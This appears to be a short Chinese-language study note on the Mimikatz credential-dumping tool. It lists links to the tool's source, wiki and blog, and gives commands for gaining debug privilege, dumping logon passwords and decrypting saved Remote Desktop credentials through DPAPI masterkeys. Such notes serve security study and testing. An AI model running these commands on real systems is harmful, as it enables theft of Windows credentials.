【源码阅读】Mimikatz相关资料

• Mimikatz GitHub (源码) https://github.com/gentilkiwi/mimikatz

• Mimikatz GitHub Wiki (包含了一些说明文档) https://github.com/gentilkiwi/mimikatz/wiki

• GentilKiwi Blog (博客里的大多数内容是用法语写的,请使用 Chrome 浏览器进行自动翻译) http://blog.gentilkiwi.com/mimikatz

• 感兴趣的两个点

• • 提权 　　mimikatz privilege::debug
• • 获取密码原理 　　mimikatz sekurlsa::logonpasswords
• • 获取远程终端会话存储密码 　　// 一、获取指定用户下的远程会话凭据 　　mimikatz "dpapi::cred /in:C:\Users\xx\AppData\Local\Microsoft\Credentials\FF359429D6F19C64BA7D3E282558EEB5" 　　// 二、根据GUID获取对应的masterkey 　　mimikatz sekurlsa::dpapi 　　// 三、注入 masterkey解密 　　mimikatz "dpapi::cred /in:C:\Users\xx\AppData\Local\Microsoft\Credentials\FF359429D6F19C64BA7D3E282558EEB5 /masterkey:28d1f3252c019f9cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx16dcec8e5dbf5cd0"

• 参考

Password Storage Locations For Popular Windows Applications

http://www.nirsoft.net/articles/saved_password_location.html

【奇技淫巧】破解远程终端凭据，获取服务器密码

http://www.sohu.com/a/198846194_610486